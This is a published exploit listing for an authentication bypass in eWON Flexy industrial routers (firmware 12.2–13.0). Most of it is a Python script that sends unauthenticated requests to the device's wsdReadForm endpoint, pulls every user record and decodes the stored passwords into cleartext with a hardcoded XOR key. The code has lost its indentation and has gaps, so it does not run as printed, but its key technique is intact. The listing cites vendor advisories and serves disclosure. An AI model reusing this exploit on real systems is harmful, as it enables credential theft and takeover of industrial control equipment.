eWON Flexy 13.0 Authentication Bypass

eWON Flexy with firmware version 13.0 suffers from an authentication bypass vulnerability.

MD5 | d0b98d41fed10c41d04cae17c5d2a676

#! /usr/bin/env python
# Exploit Title: eWON v13.0 Authentication Bypass
# Date: 2018-10-12
# Exploit Author: Photubias – tijl[dot]Deneut[at]Howest[dot]be for www.ic4.be
# Vendor Advisory: [1] https://websupport.ewon.biz/support/news/support/ewon-security-enhancement-131s0-0
# [2] https://websupport.ewon.biz/support/news/support/ewon-security-vulnerability
# Vendor Homepage: https://www.ewon.biz
# Version: eWon Firmware 12.2 to 13.0
# Tested on: eWon Flexy with Firmware 13.0s0

Copyright 2019 Photubias(c)

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

File name eWON-Flewy-Pwn.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

This script will perform retrieval of clear text credentials for an eWON Flexy router
Tested on the eWON Flexy 201 with Firmware 13.0s0
Only requires a valid username (default = adm) and
this user must have the Rights 'View IO' & 'Change Configuration'

It combines two vulnerabilities: authentication bypass (fixed in 13.1s0)
and a weak password encryption, allowing cleartext password retrievel for all users (fixed in 13.3s0)
username = 'adm'

import urllib2,urllib,base64,binascii,os

def decode(encpass):
xorString = "6414FE6F4C964746900208FC9B3904963A2F61"
def convertPass(password):
if (len(password)/2) > 19:
print('Error, password can not exceed 19 characters')
return hexxor(password, xorString[:len(password)])
def hexxor(a, b):
return "".join(["%x" % (int(x,16) ^ int(y,16)) for (x, y) in zip(a, b)])
if encpass.startswith('#_'):
encpass = encpass.split('_')[2]
coded = base64.b64decode(encpass)
codedhex = binascii.hexlify(coded)[:-4]
clearpass = binascii.unhexlify(convertPass(codedhex))
print('Decoded password: ' + clearpass)

def getUserData(userid, strIP):
postwsdlist = '["inf_HasJVM","usr_FirstName|1","usr_LastName|1","usr_Login|1","usr_Password|1","usr_Information|1","usr_Right|1","usr_AccessPage|1","usr_AccessDir|1","usr_CBEn|1","usr_CBMode|1","usr_CBPhNum|1","ols_AllAndAssignedPageList","ols_DirList","ols_CBMode"]'
postwsdlist = postwsdlist.replace('|1','|'+str(userid))
postdata = {'wsdList' : postwsdlist}
b64auth = base64.b64encode(username+':').replace('=','')
result = urllib2.urlopen(urllib2.Request('http://'+strIP+'/wrcgi.bin/wsdReadForm',data=urllib.urlencode(postdata) ,headers={'Authorization' : ' Basic '+b64auth})).read()
resultarr = result.split('","')
if len(resultarr) == 20:
fname = str(resultarr[1])
lname = str(resultarr[2])
usern = str(resultarr[3])
if len(usern) == 0:
return True
encpassword = resultarr[4]
print('Decoding pass for user: '+usern+' ('+fname+' '+lname+') ')
return True
return True

strIP = raw_input('Please enter an IP []: ')
if strIP == '': strIP = ''

for i in range(20):
if not getUserData(i, strIP):
print('### That\'s all folks ;-) ###')

raw_input('All Done')

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